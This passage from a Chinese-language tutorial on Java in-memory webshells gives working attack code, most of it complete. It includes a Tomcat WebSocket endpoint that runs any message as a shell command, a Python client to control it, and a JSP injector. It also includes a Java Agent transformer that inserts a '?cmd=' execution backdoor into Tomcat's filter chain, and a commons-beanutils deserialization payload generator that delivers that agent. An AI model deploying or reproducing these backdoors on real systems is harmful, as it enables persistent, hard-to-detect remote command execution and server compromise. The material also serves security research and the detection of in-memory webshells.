103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 12, 117, 115, 101, 68, 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 1, 0, 4, 110, 101, 120, 116, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 7, 0, -111, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 17, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 1, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 1, 120, 0, 4, 0, 8, 0, 0, 0, -111, 4, 61, 18, 2, -72, 0, 3, 78, 45, -58, 0, 17, 45, -74, 0, 4, 18, 5, -74, 0, 6, -103, 0, 5, 3, 61, 28, -103, 0, 24, 6, -67, 0, 7, 89, 3, 18, 8, 83, 89, 4, 18, 9, 83, 89, 5, 43, 83, -89, 0, 21, 6, -67, 0, 7, 89, 3, 18, 10, 83, 89, 4, 18, 11, 83, 89, 5, 43, 83, 58, 4, -72, 0, 12, 25, 4, -74, 0, 13, -74, 0, 14, 58, 5, -69, 0, 15, 89, 25, 5, -73, 0, 16, 18, 17, -74, 0, 18, 58, 6, 25, 6, -74, 0, 19, -103, 0, 11, 25, 6, -74, 0, 20, -89, 0, 5, 18, 21, 58, 7, 42, -76, 0, 22, -71, 0, 23, 1, 0, 25, 7, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -120, 0, -117, 0, 25, 0, 3, 0, 37, 0, 0, 0, 54, 0, 13, 0, 0, 0, 24, 0, 2, 0, 25, 0, 8, 0, 26, 0, 24, 0, 27, 0, 26, 0, 29, 0, 71, 0, 30, 0, 84, 0, 31, 0, 100, 0, 32, 0, 120, 0, 33, 0, -120, 0, 36, 0, -117, 0, 34, 0, -116, 0, 35, 0, -112, 0, 37, 0, 38, 0, 0, 0, 92, 0, 9, 0, 2, 0, -122, 0, 43, 0, 44, 0, 2, 0, 8, 0, -128, 0, 45, 0, 46, 0, 3, 0, 71, 0, 65, 0, 47, 0, 48, 0, 4, 0, 84, 0, 52, 0, 49, 0, 50, 0, 5, 0, 100, 0, 36, 0, 51, 0, 52, 0, 6, 0, 120, 0, 16, 0, 53, 0, 46, 0, 7, 0, -116, 0, 4, 0, 54, 0, 55, 0, 2, 0, 0, 0, -111, 0, 39, 0, 40, 0, 0, 0, 0, 0, -111, 0, 56, 0, 46, 0, 1, 0, 57, 0, 0, 0, 47, 0, 7, -3, 0, 26, 1, 7, 0, 58, 24, 81, 7, 0, 59, -2, 0, 46, 7, 0, 59, 7, 0, 60, 7, 0, 61, 65, 7, 0, 58, -1, 0, 20, 0, 2, 7, 0, 62, 7, 0, 58, 0, 1, 7, 0, 63, 4, 0, 1, 0, 64, 0, 65, 0, 1, 0, 36, 0, 0, 0, 83, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 22, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 14, 0, 3, 0, 0, 0, 41, 0, 5, 0, 42, 0, 12, 0, 43, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 13, 0, 39, 0, 40, 0, 0, 0, 0, 0, 13, 0, 32, 0, 33, 0, 1, 0, 0, 0, 13, 0, 66, 0, 67, 0, 2, 16, 65, 0, 41, 0, 68, 0, 1, 0, 36, 0, 0, 0, 51, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 7, -74, 0, 28, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 17, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 39, 0, 40, 0, 0, 0, 3, 0, 69, 0, 0, 0, 2, 0, 72, 0, 73, 0, 0, 0, 2, 0, 74, 0, 71, 0, 0, 0, 18, 0, 2, 0, 31, 0, 110, 0, 70, 6, 9, 0, 102, 0, -118, 0, -120, 6, 9};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
if (null == container.findMapping(urlPath)) {
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
e.printStackTrace();
}
}
}

} catch (Exception e) {
e.printStackTrace();
}
}
}

EvilWebsocket类,主要是想拿到它的字节码,然后加载进JVM中:

import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class EvilWebsocket extends Endpoint implements MessageHandler.Whole<String> {

private Session session;

@Override
public void onMessage(String command) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
session.getBasicRemote().sendText(output);
} catch (Exception exception) {
exception.printStackTrace();
}
}

@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}

之后可以使用以下python代码作为一个简单的websocket客户端执行命令:

import websocket

ws = websocket.create_connection("ws://127.0.0.1:8080/evilWebsocket")

while True:
command = input("")
if command != "exit":
ws.send(command)
result = ws.recv()
print(result)
else:
ws.close()
break

执行结果:

jsp注入Tomcat-Websocket 型内存马

<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>

<%!
public static class EvilWebsocket extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String command) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
session.getBasicRemote().sendText(output);
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = "/evilWebsocket";
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(EvilWebsocket.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
try {
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
} catch (Exception e) {
}
%>

Java-Agent 型内存马

基本原理

Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意代码添加进去。

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)

  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

实现 premain 方法在RASP中必用到,但是因为通过premain注入内存马过于鸡肋,需要重新启动Web服务,制定-javaagent,这里就不再介绍。先写一个简单的实现了agentmain 方法的例子:

package org.example;

import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.example.Hello";

public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TestTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class TestTransformer implements ClassFileTransformer {

public static final String ClassName = "org.example.Hello";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
try {
ClassPool pool = ClassPool.getDefault();
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("Hello");
m.insertBefore("System.out.println("Attach Successful!");");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

打成jar包:

Java/Python/PHP 内存马

之后我们写以下几个类:

package org.example;

import java.util.Scanner;

public class HelloWorld {
public static void main(String[] args) {
Hello h1 = new Hpackage org.example;

public class Hello {
public void Hello() {
System.out.println("Hello World!");
}

}ello();
h1.Hello();
while (true)
{
Scanner sc = new Scanner(System.in);
sc.nextInt();
Hello h2 = new Hello();
h2.Hello();
}

}

}


package org.example;

public class Hello {
public void Hello() {
System.out.println("Hello World!");
}

}
package org.example;

public class Attach {
public static void main(String[] args) {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.equals("org.example.HelloWorld")){
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "/home/rainb0w/codes/java_projects/agent/out/artifacts/agent_jar/agent.jar";
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}

tools.jar 不会在 JVM 启动的时候默认加载,这里通过URLClassLoader加载tools.jar。attach到org.example.HelloWorld,加载agent.jar更改Hello类的Hello方法,将System.out.println("Attach Successful!");插入到了Hello方法前面。

执行HelloWorld的main方法,输出了一次Hello World:

Java/Python/PHP 内存马

执行Attach的main方法后,随意输入一个数,可以看到Hello类的Hello方法已经被改变:

Java/Python/PHP 内存马

了解JavaAgent后,我们可以来打内存马了。还记得我们在Filter内存马那里的流程分析吗?在经过org.apache.catalina.core.ApplicationFilterFactory#createFilterChain后我们得到了一个ApplicationFilterChain对象,之后又调用了这个ApplicationFilterChain对象的doFilter函数,其中有request对象参数和response对象参数。因此我们可以更改ApplicationFilterChain类的doFilter函数,向它的前面添加一些恶意代码。

反序列化注入 JavaAgent 型内存马

首先创建一个简单的SpringBoot项目,并导入common-beanutils依赖,以下是一个示例controller:

package com.example.vul_demo.controllers;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class DeserializeController {
@ResponseBody
@PostMapping("/deserialize")
public String Vuln(@RequestParam(required = false, name = "bytecodes") String encodedBytecodes) throws Exception{
// System.out.println(encodedBytecodes);
if(encodedBytecodes == null){
return "Hello, World!";
}else {
System.out.println(encodedBytecodes);
byte[] bytecodes = Base64.getDecoder().decode(encodedBytecodes);
InputStream inputStream = new ByteArrayInputStream(bytecodes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
}
return "Hello World!";

}

@ResponseBody
@GetMapping("/index")
public String sayHello(HttpServletRequest request, HttpServletResponse response) throws Exception{
try {
System.out.println("hello world");
} catch (Exception e) {
e.printStackTrace();
}
return "Hello!!!";
}
}

之后给出生成payload的代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(AgentTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

return queue;
}

@org.junit.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();

String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}


}

恶意模板类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class AgentTemplatesImpl extends AbstractTranslet {

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

static {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.equals("com.example.vul_demo.VulDemoApplication")){
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "/home/rainb0w/codes/java_projects/agent/out/artifacts/agent_jar/agent.jar";
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}

}

将以下项目打成jar包:

package org.example;

import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TestTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}

ClassFileTransformer的实现类:

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class TestTransformer implements ClassFileTransformer {

public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");

String a = "java.lang.String cmd = request.getParameter("cmd");n" +
"if (cmd != null){n" +
" try {n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" +
" String line;n" +
" StringBuilder sb = new StringBuilder("");n" +
" while ((line=reader.readLine()) != null){n" +
" sb.append(line).append("\n");n" +
" }n" +
" response.getWriter().write(sb.toString());n" +
" response.getWriter().flush();n" +
" response.getWriter().close();n"+
" } catch (Exception e){n" +
" e.printStackTrace();n" +
" }n" +
"}";
m.insertBefore(a);
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

利用生成的payload打,以下是注入结果:

Java/Python/PHP 内存马

可以看到,上面提到的这种注入Java Agent内存马的方法仍然需要上传文件。不过,在rebeyond师傅的这篇文章https://xz.aliyun.com/t/11640介绍了通过Java AgentNoFile的方式植入内存马,整个过程中不会有文件在磁盘上落地,而且不会在JVM中新增类,甚至连方法也不会增加。膜一波!

SpringMVC Controller 内存马注入

基础知识

ApplicationContext

Spring容器就是ApplicationContext,它是一个接口,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。从ApplicationContext中可以根据Bean的ID获取Bean。

Spring还提供另一种IoC容器叫BeanFactory,使用方式和ApplicationContext类似

BeanFactory factory = new XmlBeanFactory(new ClassPathResource("application.xml"));
MailService mailService = factory.getBean(MailService.class);

BeanFactory和ApplicationContext的区别在于: BeanFactory的实现是按需创建,即第一次获取Bean时才创建这个Bean,而ApplicationContext会一次性创建所有的Bean。实际上ApplicationContext接口是从BeanFactory接口继承而来的。BeanFactory 接口是Spring IoC容器的实际代表者。

ContextLoaderListener与DispatcherServlet

一个典型Spring 应用的web.xml 配置示例

<web-app xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
xmlns="<http://java.sun.com/xml/ns/javaee>"
xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee> <http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd>"
version="2.5">

<display-name>HelloSpringMVC</display-name>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,其余都是Child Context。

  • 所有Child Context都可以访问在Root Context中定义的bean,但是Root Context无法访问Child Context中定义的 bean。

  • 所有的Context在创建后,会作为一个属性被添加到了ServletContext中。

ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他Child Context实例共享它的IoC容器,供其他Child Context获取并使用容器中的bean。

ContextLoaderListener本质上是一个监听器。Spring 实现了 Tomcat 提供的 ServletContextListener 接口,写了一个监听器来监听项目启动,一旦项目启动,会触发 ContextLoaderListener 中的特定方法 contextInitialized

也就是说 Tomcat 的 ServletContext 创建时,会调用 ContextLoaderListener 的 contextInitialized(),这个方法内部的 initWebApplicationContext()就是用来初始化 Spring 的 IOC 容器的。

  1. ServletContext 对象是 Tomcat 的;

  2. ServletContextListener 是 Tomcat 提供的接口;

  3. ContextLoaderListener 是 Spring 写的,实现了 ServletContextListener;

  4. Spring 自己写的监听器,用来创建 Spring IOC 容器;

其相关配置如下:

<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

DispatcherServlet 从本质上来讲是一个 Servlet(它继承自HttpServlet)。它的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。DispatcherServlet初始化完成后,会创建一个普通的Child Context实例。

综上: 每个具体的DispatcherServlet创建的是一个Child Context,代表一个独立的IoC容器;而 ContextLoaderListener所创建的是一个Root Context,代表全局唯一的一个公共 IoC 容器。

如果要访问和操作bean,一般要获得当前代码执行环境的IoC 容器(Child Context)代表者ApplicationContext。

有以下几种办法获取代码运行时的上下文环境:

第一种:

WebApplicationContext context = ContextLoaderListener.getCurrentWebApplicationContext();

getCurrentWebApplicationContext 获得的是 Root WebApplicationContext。但是请注意,打入内存马使用这种方式获取上下文环境时有一些限制,一种是目标不能是SpringBoot。我们刚刚看到ContextLoaderListener 如果要实现它应有的功能,是需要在 web.xml 中配置的。而 SpringBoot 中无论是以 main 方法还是 spring-boot:run 的方式执行都不跑 SpringBootServletInitializer 中的 onStartup, 导致 ContextLoaderListener 没有执行。因此通过这种办法获取到的context为null:

Java/Python/PHP 内存马

还有一直限制就是有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过这种方法也是获取不到Root WebApplicationContext的。

第二种:

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

使用这种方法可以获得一个名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。

流程分析

先编写一个简单的Controller,之后在Controller类下断,然后访问配置的路由:

Java/Python/PHP 内存马

DispatcherServlet的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。我们可以看到我们的Web请求经过DispatcherServlet的doDispatch方法处理后被转发了过来:

Java/Python/PHP 内存马

对调用栈向上回溯看看DispatcherServlet是怎么做的分发:

Java/Python/PHP 内存马

通过调用HandlerAdapter类的handle方法对request和response对象进行处理,并且通过调用org.springframework.web.servlet.HandlerExecutionChain#getHandler方法获取了mappedHandler的handler字段。我们看一下mappedHandler是怎么来的:

Java/Python/PHP 内存马

跟进org.springframework.web.servlet.DispatcherServlet#getHandler

Java/Python/PHP 内存马

可以发现mappedHandler是对handlerMappings遍历后调用getHandler()得到的,打下断点,跟进到了org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

Java/Python/PHP 内存马

在此处又调用了相应HandlerMapping实现类的getHandlerInternal()方法:

Java/Python/PHP 内存马

跟进后,发现又调用了父类的getHandlerInternal()方法,即org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal

Java/Python/PHP 内存马

首先获取了我们设置的路由,之后对mappingRegistry进行上锁,最后解锁。在mappingRegistry中存储了路由信息:

Java/Python/PHP 内存马

之后调用了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod,我们跟进一下:

Java/Python/PHP 内存马

可以看到,是从mappingRegistry中获取路由。那接下来我们需要做的就是在mappingRegistry中添加路由。在AbstractHandlerMethodMapping中就提供了registerMapping添加路由。

Java/Python/PHP 内存马

但是AbstractHandlerMethodMapping类为抽象类。不过我们可以从当前上下文环境中获得RequestMappingHandlerMapping的实例bean:

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

反序列化注入SpringBoot Controller 内存马

在给出EXP前,首先给大家提一个醒,springboot 2.6.x 以上版本对路由匹配方式进行了修改,以往的手动注册方式会导致任意请求提示:

java.lang.IllegalArgumentException: 
Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

在网上找解决办法有三种,一种是降低版本,一种是修改默认映射策略:

spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER

还有一种方法:https://blog.csdn.net/maple_son/article/details/122572869

因此如果我们直接利用网上给出的EXP来向SpringBoot中注入内存马,是打不成功的。此处给出我写好的EXP,根据注释应该可以看懂。先写一个恶意的Controller:

package com.example.vul_demo;


import org.springframework.stereotype.Controller;
